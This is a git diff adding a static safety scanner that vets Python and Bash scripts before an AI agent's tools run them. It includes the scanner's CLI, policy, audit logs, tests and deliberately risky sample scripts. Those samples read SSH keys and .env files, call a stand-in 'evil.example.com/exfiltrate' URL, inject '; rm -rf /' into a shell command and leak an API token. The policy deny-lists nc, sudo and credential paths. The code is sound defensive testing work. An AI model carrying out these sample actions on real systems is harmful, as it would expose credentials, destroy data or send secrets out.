+ "name": "read_ssh_key", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE003_CREDENTIAL_READ" + ], + "report_id": "rep-72ef7681f35b46b3", + "risk_level": "critical", + "duration_ms": 0.5028999876230955, + "matches_expected": true + }, + { + "name": "non_allowlist_network", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "NET001_DOMAIN_NOT_ALLOWED" + ], + "report_id": "rep-f005efced1e9411e", + "risk_level": "high", + "duration_ms": 0.4389999667182565, + "matches_expected": true + }, + { + "name": "allowlist_network", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-459b750a8a6e4dc6", + "risk_level": "info", + "duration_ms": 0.4502000520005822, + "matches_expected": true + }, + { + "name": "allowed_subprocess", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-04b3b962abcb4bbf", + "risk_level": "info", + "duration_ms": 0.45489997137337923, + "matches_expected": true + }, + { + "name": "shell_injection", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "PROC002_SHELL_INJECTION", + "PROC003_SHELL_OPERATOR" + ], + "report_id": "rep-f5144163c5094313", + "risk_level": "critical", + "duration_ms": 0.6623999215662479, + "matches_expected": true + }, + { + "name": "dependency_install", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "DEP001_ENV_MUTATION", + "PROC001_PROCESS_EXEC" + ], + "report_id": "rep-ccf3e7dc48844c75", + "risk_level": "high", + "duration_ms": 0.4143000114709139, + "matches_expected": true + }, + { + "name": "infinite_loop", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "RES001_UNBOUNDED_LOOP" + ], + "report_id": "rep-9b522b25146b4786", + "risk_level": "high", + "duration_ms": 0.33549999352544546, + "matches_expected": true + }, + { + "name": "secret_output", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "SECRET001_LOG_SINK" + ], + "report_id": "rep-e5a7cebdfabb441f", + "risk_level": "high", + "duration_ms": 0.3730000462383032, + "matches_expected": true + }, + { + "name": "bash_pipeline", + "expected_decision": "needs_human_review", + "actual_decision": "needs_human_review", + "rule_ids": [ + "PROC003_SHELL_OPERATOR" + ], + "report_id": "rep-b985c3c2d76b43bb", + "risk_level": "medium", + "duration_ms": 0.2604000037536025, + "matches_expected": true + }, + { + "name": "read_dotenv", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE004_DOTENV_READ" + ], + "report_id": "rep-715ec01c675147f4", + "risk_level": "high", + "duration_ms": 0.278900028206408, + "matches_expected": true + }, + { + "name": "dynamic_command_review", + "expected_decision": "needs_human_review", + "actual_decision": "needs_human_review", + "rule_ids": [ + "PROC001_PROCESS_EXEC" + ], + "report_id": "rep-fb58b8d8e8764943", + "risk_level": "medium", + "duration_ms": 0.48740010242909193, + "matches_expected": true + } +] \ No newline at end of file diff --git a/examples/tool_safety/samples/01_safe_python.py b/examples/tool_safety/samples/01_safe_python.py new file mode 100644 index 00000000..685d729a --- /dev/null +++ b/examples/tool_safety/samples/01_safe_python.py @@ -0,0 +1,21 @@ +"""Sample safe Python script. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. +""" + +from __future__ import annotations + +import os + + +def list_cwd() -> list[str]: + return sorted(os.listdir(".")) + + +def main() -> None: + for entry in list_cwd(): + print(entry) + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety/samples/02_safe_bash.sh b/examples/tool_safety/samples/02_safe_bash.sh new file mode 100644 index 00000000..37809dcd --- /dev/null +++ b/examples/tool_safety/samples/02_safe_bash.sh @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +# Sample safe Bash script. +# Expected scan result: decision=allow, rule_ids=['SAFE000']. + +set -euo pipefail + +echo "hello world" +pwd +ls -la diff --git a/examples/tool_safety/samples/03_dangerous_delete.py b/examples/tool_safety/samples/03_dangerous_delete.py new file mode 100644 index 00000000..f5dc7a75 --- /dev/null +++ b/examples/tool_safety/samples/03_dangerous_delete.py @@ -0,0 +1,16 @@ +"""Recursive delete sample. + +Expected scan result: decision=deny, rule_ids contains FILE001_RECURSIVE_DELETE. +""" + +from __future__ import annotations + +import shutil + + +def purge_workspace(path: str) -> None: + shutil.rmtree(path) + + +if __name__ == "__main__": + purge_workspace("/tmp/scratch") diff --git a/examples/tool_safety/samples/04_read_ssh_key.py b/examples/tool_safety/samples/04_read_ssh_key.py new file mode 100644 index 00000000..f7cb2e9e --- /dev/null +++ b/examples/tool_safety/samples/04_read_ssh_key.py @@ -0,0 +1,18 @@ +"""Read SSH key sample. + +Expected scan result: decision=deny, rule_ids contains FILE003_CREDENTIAL_READ. +""" + +from __future__ import annotations + +import os +from pathlib import Path + + +def dump_key(home: str) -> str: + path = Path(home) / ".ssh" / "id_rsa" + return path.read_text() + + +if __name__ == "__main__": + print(dump_key(os.path.expanduser("~"))) diff --git a/examples/tool_safety/samples/05_non_whitelist_network.py b/examples/tool_safety/samples/05_non_whitelist_network.py new file mode 100644 index 00000000..5e90d508 --- /dev/null +++ b/examples/tool_safety/samples/05_non_whitelist_network.py @@ -0,0 +1,17 @@ +"""Non-allowlist network sample. + +Expected scan result: decision=deny, rule_ids contains NET001_DOMAIN_NOT_ALLOWED. +""" + +from __future__ import annotations + +import requests + + +def fetch() -> dict: + response = requests.get("https://evil.example.com/exfiltrate", timeout=5) + return response.json() + + +if __name__ == "__main__": + print(fetch()) diff --git a/examples/tool_safety/samples/06_whitelist_network.py b/examples/tool_safety/samples/06_whitelist_network.py new file mode 100644 index 00000000..39e13997 --- /dev/null +++ b/examples/tool_safety/samples/06_whitelist_network.py @@ -0,0 +1,20 @@ +"""Allowlist network sample. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. +""" + +from __future__ import annotations + +import requests + + +def fetch_user(handle: str) -> dict: + response = requests.get( + f"https://api.github.com/users/{handle}", timeout=5, + ) + response.raise_for_status() + return response.json() + + +if __name__ == "__main__": + print(fetch_user("octocat")) diff --git a/examples/tool_safety/samples/07_allowed_subprocess.py b/examples/tool_safety/samples/07_allowed_subprocess.py new file mode 100644 index 00000000..f78e4278 --- /dev/null +++ b/examples/tool_safety/samples/07_allowed_subprocess.py @@ -0,0 +1,25 @@ +"""Allowed subprocess sample. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. + +The executable ``python`` is on the allow list and the call uses +``shell=False`` with a static argv list, so PROC001 does not fire. +""" + +from __future__ import annotations + +import subprocess + + +def run_self_check() -> int: + completed = subprocess.run( + ["python", "-c", "print('allowed-subprocess-ok')"], + capture_output=True, + text=True, + check=True, + ) + return completed.returncode + + +if __name__ == "__main__": + raise SystemExit(run_self_check()) diff --git a/examples/tool_safety/samples/08_shell_injection.py b/examples/tool_safety/samples/08_shell_injection.py new file mode 100644 index 00000000..0214ac04 --- /dev/null +++ b/examples/tool_safety/samples/08_shell_injection.py @@ -0,0 +1,18 @@ +"""Shell injection sample. + +Expected scan result: decision=deny, rule_ids contains PROC002_SHELL_INJECTION. +""" + +from __future__ import annotations + +import subprocess + + +def run_untrusted(user_input: str) -> int: + return subprocess.run( + f"ls {user_input}", shell=True, check=False, + ).returncode + + +if __name__ == "__main__": + raise SystemExit(run_untrusted("; rm -rf /")) diff --git a/examples/tool_safety/samples/09_dependency_install.sh b/examples/tool_safety/samples/09_dependency_install.sh new file mode 100644 index 00000000..a8473e92 --- /dev/null +++ b/examples/tool_safety/samples/09_dependency_install.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Dependency install sample. +# Expected scan result: decision=deny, rule_ids contains DEP001_ENV_MUTATION. + +set -euo pipefail + +pip install requests +npm install lodash diff --git a/examples/tool_safety/samples/10_infinite_loop.py b/examples/tool_safety/samples/10_infinite_loop.py new file mode 100644 index 00000000..7dc07c02 --- /dev/null +++ b/examples/tool_safety/samples/10_infinite_loop.py @@ -0,0 +1,15 @@ +"""Unbounded loop sample. + +Expected scan result: decision=deny, rule_ids contains RES001_UNBOUNDED_LOOP. +""" + +from __future__ import annotations + + +def spam() -> None: + while True: + print("looping forever") + + +if __name__ == "__main__": + spam() diff --git a/examples/tool_safety/samples/11_sensitive_output.py b/examples/tool_safety/samples/11_sensitive_output.py new file mode 100644 index 00000000..5c98f459 --- /dev/null +++ b/examples/tool_safety/samples/11_sensitive_output.py @@ -0,0 +1,17 @@ +"""Secret-to-output sample. + +Expected scan result: decision=deny, rule_ids contains SECRET001_LOG_SINK. +""" + +from __future__ import annotations + +import os + + +def leak() -> None: + token = os.environ["API_TOKEN"] + print(f"token is {token}") + + +if __name__ == "__main__": + leak() diff --git a/examples/tool_safety/samples/12_bash_pipeline.sh b/examples/tool_safety/samples/12_bash_pipeline.sh new file mode 100644 index 00000000..3c18198e --- /dev/null +++ b/examples/tool_safety/samples/12_bash_pipeline.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Shell pipeline sample. +# Expected scan result: decision=needs_human_review, +# rule_ids contains PROC003_SHELL_OPERATOR. + +set -euo pipefail + +ls -la | grep "\.py$" | wc -l diff --git a/examples/tool_safety/samples/13_read_dotenv.sh b/examples/tool_safety/samples/13_read_dotenv.sh new file mode 100644 index 00000000..c29a8bf2 --- /dev/null +++ b/examples/tool_safety/samples/13_read_dotenv.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# .env read sample. +# Expected scan result: decision=deny, +# rule_ids contains FILE004_DOTENV_READ. + +set -euo pipefail + +cat .env diff --git a/examples/tool_safety/samples/14_dynamic_command_review.py b/examples/tool_safety/samples/14_dynamic_command_review.py new file mode 100644 index 00000000..5f3311c6 --- /dev/null +++ b/examples/tool_safety/samples/14_dynamic_command_review.py @@ -0,0 +1,23 @@ +"""Dynamic command sample. + +Expected scan result: decision=needs_human_review, +rule_ids contains PROC001_PROCESS_EXEC (dynamic command) or +PARSE001_UNCERTAIN. + +The script reads a command from stdin and executes it; the guard cannot +statically know what will run, so it falls back to review. +""" + +from __future__ import annotations + +import subprocess +import sys + + +def main() -> int: + user_command = sys.argv[1] if len(sys.argv) > 1 else "echo hello" + return subprocess.run(user_command, shell=False).returncode + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/tool_safety/samples/manifest.yaml b/examples/tool_safety/samples/manifest.yaml new file mode 100644 index 00000000..d15b7e12 --- /dev/null +++ b/examples/tool_safety/samples/manifest.yaml @@ -0,0 +1,84 @@ +samples: + - name: safe_python + file: 01_safe_python.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: safe_bash + file: 02_safe_bash.sh + language: bash + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: dangerous_recursive_delete + file: 03_dangerous_delete.py + language: python + expected_decision: deny + expected_rule_ids: [FILE001_RECURSIVE_DELETE] + + - name: read_ssh_key + file: 04_read_ssh_key.py + language: python + expected_decision: deny + expected_rule_ids: [FILE003_CREDENTIAL_READ] + + - name: non_allowlist_network + file: 05_non_whitelist_network.py + language: python + expected_decision: deny + expected_rule_ids: [NET001_DOMAIN_NOT_ALLOWED] + + - name: allowlist_network + file: 06_whitelist_network.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: allowed_subprocess + file: 07_allowed_subprocess.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: shell_injection + file: 08_shell_injection.py + language: python + expected_decision: deny + expected_rule_ids: [PROC002_SHELL_INJECTION] + + - name: dependency_install + file: 09_dependency_install.sh + language: bash + expected_decision: deny + expected_rule_ids: [DEP001_ENV_MUTATION] + + - name: infinite_loop + file: 10_infinite_loop.py + language: python + expected_decision: deny + expected_rule_ids: [RES001_UNBOUNDED_LOOP] + + - name: secret_output + file: 11_sensitive_output.py + language: python + expected_decision: deny + expected_rule_ids: [SECRET001_LOG_SINK] + + - name: bash_pipeline + file: 12_bash_pipeline.sh + language: bash + expected_decision: needs_human_review + expected_rule_ids: [PROC003_SHELL_OPERATOR] + + - name: read_dotenv + file: 13_read_dotenv.sh + language: bash + expected_decision: deny + expected_rule_ids: [FILE004_DOTENV_READ] + + - name: dynamic_command_review + file: 14_dynamic_command_review.py + language: python + expected_decision: needs_human_review + expected_rule_ids: [PROC001_PROCESS_EXEC] diff --git a/examples/tool_safety/tool_safety_audit.jsonl b/examples/tool_safety/tool_safety_audit.jsonl new file mode 100644 index 00000000..6a70b98f --- /dev/null +++ b/examples/tool_safety/tool_safety_audit.jsonl @@ -0,0 +1,29 @@ +{"decision":"deny","duration_ms":0.6739000091329217,"event_id":"rep-47df434f9e694e5a","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-47df434f9e694e5a","risk_level":"critical","rule_ids":["FILE001_RECURSIVE_DELETE"],"scanner_version":"1.0.0","script_sha256":"190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9","timestamp":"2026-07-14T09:28:05.200688+00:00","tool_kind":"unknown","tool_name":"sample"} +{"decision":"allow","duration_ms":0.39739999920129776,"event_id":"rep-eb5bdf1a43464859","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-eb5bdf1a43464859","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"abceeaaec48b8039440cfe2965b16b583fdbba619fdee4ef37e2bacb0a3409c6","timestamp":"2026-07-14T09:28:05.741180+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":1.1812999146059155,"event_id":"rep-438f2f12ae3843c8","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-438f2f12ae3843c8","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"ed01a81b947444d4baffce077fd4092f927bbc7fcf3d85ad5e3ad665cedb59d6","timestamp":"2026-07-14T09:28:05.751726+00:00","tool_kind":"unknown","tool_name":"cli"} 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Modify the lists and limits to match your +# environment. The guard hot-reloads only when the policy file changes +# and a new ToolSafetyGuard / ToolScriptSafetyFilter is constructed. +version: "1" + +defaults: + unknown_construct: needs_human_review + guard_error: deny + human_review_blocks_execution: true + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" + - pypi.org + - files.pythonhosted.org + deny_ip_literals: true + +commands: + allow: + - python + - python3 + - pytest + - git + deny: + - sudo + - su + - doas + - pkexec + - chmod + - chown + - mount + - umount + - nc + - ncat + - mkfs + - dd + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - "/var/log/auth.log" + - ".env" + - "**/*credentials*" + - "**/*token*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + skill_run: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout + skill_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout + python_exec: + execution_capable: true + language: python + script: code + cwd: cwd + env: env + timeout: timeout + +rule_overrides: {} + +audit: + enabled: true + required: true + path: tool_safety_audit.jsonl diff --git a/examples/tool_safety/tool_safety_report.json b/examples/tool_safety/tool_safety_report.json new file mode 100644 index 00000000..b32c9fe7 --- /dev/null +++ b/examples/tool_safety/tool_safety_report.json @@ -0,0 +1,33 @@ +{ + "report_id": "rep-47df434f9e694e5a", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "findings": [ + { + "rule_id": "FILE001_RECURSIVE_DELETE", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "shutil.rmtree(path)", + "line": 12, + "column": 5, + "language": "python", + "extras": { + "target": "path", + "explicit": "False" + } + }, + "recommendation": "Avoid recursive delete; require explicit file list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9", + "scan_duration_ms": 0.6739000091329217, + "redacted": false +} \ No newline at end of file diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 00000000..248eb0c5 --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,329 @@ +"""Tool Script Safety Guard CLI. + +Usage:: + + python scripts/tool_safety_check.py \\ + --policy examples/tool_safety/tool_safety_policy.yaml \\ + --language python \\ + --script-file path/to/script.py \\ + --tool-name demo + +Exit codes follow the plan: +* ``0`` -- decision was ``allow``. +* ``2`` -- decision was ``deny``. +* ``3`` -- decision was ``needs_human_review``. +* ``4`` -- input/policy/CLI error. + +Use ``--manifest `` to scan a batch of samples declared in +YAML. ``--request-json`` accepts a complete JSON request document. +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +import sys +from pathlib import Path +from typing import Any, Mapping, Sequence + +import yaml + +# Ensure the repo root is on sys.path so ``import tool.safety`` works +# when the CLI is invoked directly via ``python scripts/...``. +_REPO_ROOT = Path(__file__).resolve().parents[1] +if str(_REPO_ROOT) not in sys.path: + sys.path.insert(0, str(_REPO_ROOT)) + +from tool.safety._audit import InMemoryAuditSink, JsonlAuditSink # noqa: E402 +from tool.safety._guard import ToolSafetyGuard # noqa: E402 +from tool.safety._models import ( # noqa: E402 + SafetyDecision, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from tool.safety._policy import load_safety_policy # noqa: E402 +from tool.safety._telemetry import build_audit_event # noqa: E402 + + +def main(argv: Sequence[str] | None = None) -> int: + parser = _build_parser() + args = parser.parse_args(argv) + try: + policy = load_safety_policy(args.policy) + except Exception as exc: + print(f"policy error: {exc}", file=sys.stderr) + return 4 + guard = ToolSafetyGuard(policy) + audit_sink = _resolve_audit_sink(args, policy) + if args.manifest: + return _run_manifest(guard, audit_sink, args) + if args.request_json: + return _run_request_json(guard, audit_sink, args) + return _run_single(guard, audit_sink, args) + + +def _build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="tool_safety_check", + description="Pre-execution static safety scanner for Python and Bash scripts.", + ) + parser.add_argument("--policy", required=True, + help="Path to tool_safety_policy.yaml") + parser.add_argument("--tool-name", default="cli", + help="Tool name to record in audit events") + parser.add_argument("--tool-kind", default="unknown", + choices=[k.value for k in ToolKind], + help="Tool kind for metadata") + parser.add_argument("--output", + help="Write JSON report to this path") + parser.add_argument("--audit-file", + help="Append audit JSONL to this path") + parser.add_argument("--manifest", + help="YAML manifest declaring multiple samples") + parser.add_argument("--manifest-output", + help="Write manifest reports as a JSON array here") + parser.add_argument("--request-json", + help="Inline JSON request document") + # Single-file inputs + parser.add_argument("--language", + choices=[l.value for l in ScriptLanguage], + help="Script language") + parser.add_argument("--script-file", + help="Path to a script file") + parser.add_argument("--script", + help="Inline script text") + parser.add_argument("--cwd", help="Working directory value") + parser.add_argument("--argv", nargs="*", default=[], + help="argv tokens") + parser.add_argument("--env", nargs="*", default=[], + help="KEY=VALUE environment entries") + parser.add_argument("--timeout", type=float, + help="Requested timeout seconds") + return parser + + +def _run_single(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + request = _build_request(args) + except Exception as exc: + print(f"input error: {exc}", file=sys.stderr) + return 4 + return _emit(guard, audit_sink, args, request) + + +def _run_request_json(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + data = json.loads(args.request_json) + request = SafetyScanRequest.model_validate(data) + except Exception as exc: + print(f"request-json error: {exc}", file=sys.stderr) + return 4 + return _emit(guard, audit_sink, args, request) + + +def _run_manifest(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace) -> int: + try: + with open(args.manifest, "r", encoding="utf-8") as handle: + manifest = yaml.safe_load(handle) + except Exception as exc: + print(f"manifest error: {exc}", file=sys.stderr) + return 4 + if not isinstance(manifest, dict) or "samples" not in manifest: + print("manifest must be a mapping with a 'samples' list", + file=sys.stderr) + return 4 + base = Path(args.manifest).resolve().parent + reports = [] + exit_code = 0 + for sample in manifest["samples"]: + try: + request, expected = _build_sample_request(sample, base, args) + except Exception as exc: + print(f"sample {sample.get('name', '')!r} error: {exc}", + file=sys.stderr) + exit_code = max(exit_code, 4) + continue + report = guard.scan(request) + reports.append({ + "name": sample.get("name"), + "expected_decision": expected, + "actual_decision": report.decision.value, + "rule_ids": list(report.rule_ids), + "report_id": report.report_id, + "risk_level": report.risk_level.label(), + "duration_ms": report.scan_duration_ms, + "matches_expected": _decision_matches(report, expected), + }) + blocked = report.decision != SafetyDecision.ALLOW + asyncio.run(_emit_audit(audit_sink, report, request, blocked=blocked)) + exit_code = max(exit_code, _exit_for_decision(report.decision)) + if args.manifest_output: + with open(args.manifest_output, "w", encoding="utf-8") as handle: + json.dump(reports, handle, indent=2, ensure_ascii=False) + if args.output: + with open(args.output, "w", encoding="utf-8") as handle: + json.dump(reports, handle, indent=2, ensure_ascii=False) + print(json.dumps({"summary": _summarize_manifest(reports)}, indent=2)) + return exit_code + + +def _emit(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace, + request: SafetyScanRequest) -> int: + report = guard.scan(request) + asyncio.run(_emit_audit(audit_sink, report, request, + blocked=report.decision != SafetyDecision.ALLOW)) + payload = report.model_dump_json(indent=2) + if args.output: + with open(args.output, "w", encoding="utf-8") as handle: + handle.write(payload) + print(payload) + return _exit_for_decision(report.decision) + + +async def _emit_audit(audit_sink: Any, report: SafetyReport, + request: SafetyScanRequest, *, blocked: bool) -> None: + import datetime as _dt + event = build_audit_event( + report=report, + tool_name=request.tool_name, + tool_kind=request.tool_kind, + execution_blocked=blocked, + timestamp=_dt.datetime.now(_dt.timezone.utc).isoformat(), + ) + try: + await audit_sink.emit(event) + except Exception as exc: + # Audit failures should not crash the CLI; surface them on stderr. + print(f"audit emit warning: {exc}", file=sys.stderr) + + +def _build_request(args: argparse.Namespace) -> SafetyScanRequest: + language = ScriptLanguage(args.language) if args.language \ + else _infer_language(args.script_file, args.script) + script = "" + if args.script_file: + with open(args.script_file, "r", encoding="utf-8") as handle: + script = handle.read() + elif args.script: + script = args.script + env: dict[str, str] = {} + for entry in args.env or []: + if "=" not in entry: + raise ValueError(f"env entries must be KEY=VALUE; got {entry!r}") + key, value = entry.split("=", 1) + env[key] = value + return SafetyScanRequest( + tool_name=args.tool_name, + tool_kind=ToolKind(args.tool_kind), + language=language, + script=script, + argv=tuple(args.argv or ()), + cwd=args.cwd, + env=env, + requested_timeout_seconds=args.timeout, + ) + + +def _build_sample_request( + sample: Mapping[str, Any], + base: Path, + args: argparse.Namespace, +) -> tuple[SafetyScanRequest, str]: + name = sample.get("name") or sample.get("file") or "" + language = ScriptLanguage(sample.get("language", "unknown")) + file_value = sample.get("file") + script = sample.get("script", "") + if file_value: + full = (base / file_value).resolve() + with open(full, "r", encoding="utf-8") as handle: + script = handle.read() + env: dict[str, str] = {} + for entry in sample.get("env") or []: + if "=" in entry: + key, value = entry.split("=", 1) + env[key] = value + request = SafetyScanRequest( + tool_name=args.tool_name or sample.get("tool_name", "manifest"), + tool_kind=ToolKind(sample.get("tool_kind", "unknown")), + language=language, + script=script, + argv=tuple(sample.get("argv", [])), + cwd=sample.get("cwd"), + env=env, + requested_timeout_seconds=sample.get("timeout"), + ) + expected = sample.get("expected_decision", "allow") + return request, expected + + +def _resolve_audit_sink(args: argparse.Namespace, + policy: Any) -> Any: + path = args.audit_file or (policy.audit.path if policy.audit.enabled + else None) + if path: + return JsonlAuditSink(path) + return InMemoryAuditSink() + + +def _infer_language(script_file: str | None, + inline: str | None) -> ScriptLanguage: + if script_file: + lower = script_file.lower() + if lower.endswith((".py", ".python")): + return ScriptLanguage.PYTHON + if lower.endswith((".sh", ".bash", ".zsh")): + return ScriptLanguage.BASH + if inline is not None: + stripped = inline.lstrip() + if stripped.startswith(("#!/", "import ", "from ", "def ", "class ")): + return ScriptLanguage.PYTHON + return ScriptLanguage.UNKNOWN + + +def _decision_matches(report: SafetyReport, expected: str) -> bool: + expected_norm = expected.lower().strip() + if expected_norm == "allow": + return report.decision == SafetyDecision.ALLOW + if expected_norm == "deny": + return report.decision == SafetyDecision.DENY + if expected_norm in ("review", "needs_human_review", "needs-review"): + return report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + return False + + +def _exit_for_decision(decision: SafetyDecision) -> int: + if decision == SafetyDecision.ALLOW: + return 0 + if decision == SafetyDecision.DENY: + return 2 + return 3 + + +def _summarize_manifest(reports: list[Mapping[str, Any]]) -> dict[str, Any]: + total = len(reports) + matches = sum(1 for r in reports if r.get("matches_expected")) + by_decision: dict[str, int] = {} + for r in reports: + decision = r.get("actual_decision", "unknown") + by_decision[decision] = by_decision.get(decision, 0) + 1 + return { + "total": total, + "matches_expected": matches, + "by_decision": by_decision, + } + + +if __name__ == "__main__": # pragma: no cover + sys.exit(main()) diff --git a/tests/tool_safety/__init__.py b/tests/tool_safety/__init__.py new file mode 100644 index 00000000..0a981ecc --- /dev/null +++ b/tests/tool_safety/__init__.py @@ -0,0 +1 @@ +"""Tests for the standalone Tool Script Safety Guard.""" diff --git a/tests/tool_safety/conftest.py b/tests/tool_safety/conftest.py new file mode 100644 index 00000000..685416cf --- /dev/null +++ b/tests/tool_safety/conftest.py @@ -0,0 +1,49 @@ +"""Shared fixtures for safety guard tests.""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._policy import load_safety_policy + + +REPO_ROOT = Path(__file__).resolve().parents[2] +EXAMPLE_POLICY = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" + + +@pytest.fixture +def example_policy_path() -> str: + return str(EXAMPLE_POLICY) + + +@pytest.fixture +def example_policy(): + return load_safety_policy(EXAMPLE_POLICY) + + +@pytest.fixture +def guard(example_policy): + return ToolSafetyGuard(example_policy) + + +@pytest.fixture +def strict_policy_dict(): + return { + "network": {"allow_domains": ["api.github.com", "*.internal.example.com"]}, + "commands": {"allow": ["python", "python3", "pytest", "git"], + "deny": ["sudo", "su", "doas"]}, + "paths": {"deny": ["~/.ssh", "/etc", "/root", ".env", + "**/*credentials*"]}, + "limits": { + "max_timeout_seconds": 30, + "max_output_bytes": 1024, + "max_script_bytes": 65536, + "max_sleep_seconds": 5, + "max_parallel_tasks": 4, + "max_processes": 4, + "max_file_write_bytes": 4096, + }, + } diff --git a/tests/tool_safety/test_audit.py b/tests/tool_safety/test_audit.py new file mode 100644 index 00000000..b695f0bc --- /dev/null +++ b/tests/tool_safety/test_audit.py @@ -0,0 +1,76 @@ +"""Tests for the audit sinks.""" + +from __future__ import annotations + +import asyncio +import json +import os +from pathlib import Path + +import pytest + +from tool.safety._audit import InMemoryAuditSink, JsonlAuditSink +from tool.safety._models import ( + RiskLevel, + SafetyAuditEvent, + SafetyDecision, + ToolKind, +) + + +def _event(decision: SafetyDecision = SafetyDecision.ALLOW) -> SafetyAuditEvent: + return SafetyAuditEvent( + event_id="e1", + timestamp="2026-01-01T00:00:00Z", + report_id="r1", + tool_name="t", + tool_kind=ToolKind.TOOL, + decision=decision, + risk_level=RiskLevel.INFO, + rule_ids=("SAFE000",), + duration_ms=1.0, + redacted=False, + execution_blocked=decision != SafetyDecision.ALLOW, + policy_hash="p", + policy_version="1", + script_sha256="s", + ) + + +def test_in_memory_sink_collects_events(): + sink = InMemoryAuditSink() + asyncio.run(sink.emit(_event())) + asyncio.run(sink.emit(_event(SafetyDecision.DENY))) + assert len(sink.events) == 2 + assert sink.events[0].decision == SafetyDecision.ALLOW + assert sink.events[1].decision == SafetyDecision.DENY + + +def test_jsonl_sink_appends(tmp_path: Path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + asyncio.run(sink.emit(_event())) + asyncio.run(sink.emit(_event(SafetyDecision.DENY))) + text = path.read_text(encoding="utf-8") + lines = [ln for ln in text.splitlines() if ln.strip()] + assert len(lines) == 2 + obj = json.loads(lines[0]) + assert obj["decision"] == "allow" + assert obj["risk_level"] == "info" + # Raw script/argv/env/cwd/args fields must not appear in audit events. + for forbidden in ("script", "argv", "env", "cwd", "args"): + assert forbidden not in obj, \ + f"forbidden key {forbidden!r} in audit event" + assert "script_sha256" in obj + + +def test_jsonl_sink_redacts_no_raw_script(tmp_path: Path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + asyncio.run(sink.emit(_event())) + payload = path.read_text(encoding="utf-8") + for forbidden in ("script", "argv", "env", "cwd", "args"): + for line in payload.splitlines(): + obj = json.loads(line) + assert forbidden not in obj or forbidden == "script_sha256", \ + f"forbidden key {forbidden!r} in audit event" diff --git a/tests/tool_safety/test_bash_scanner.py b/tests/tool_safety/test_bash_scanner.py new file mode 100644 index 00000000..ded7e1e3 --- /dev/null +++ b/tests/tool_safety/test_bash_scanner.py @@ -0,0 +1,125 @@ +"""Tests for the Bash lexer-lite scanner.""" + +from __future__ import annotations + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy_dict + + 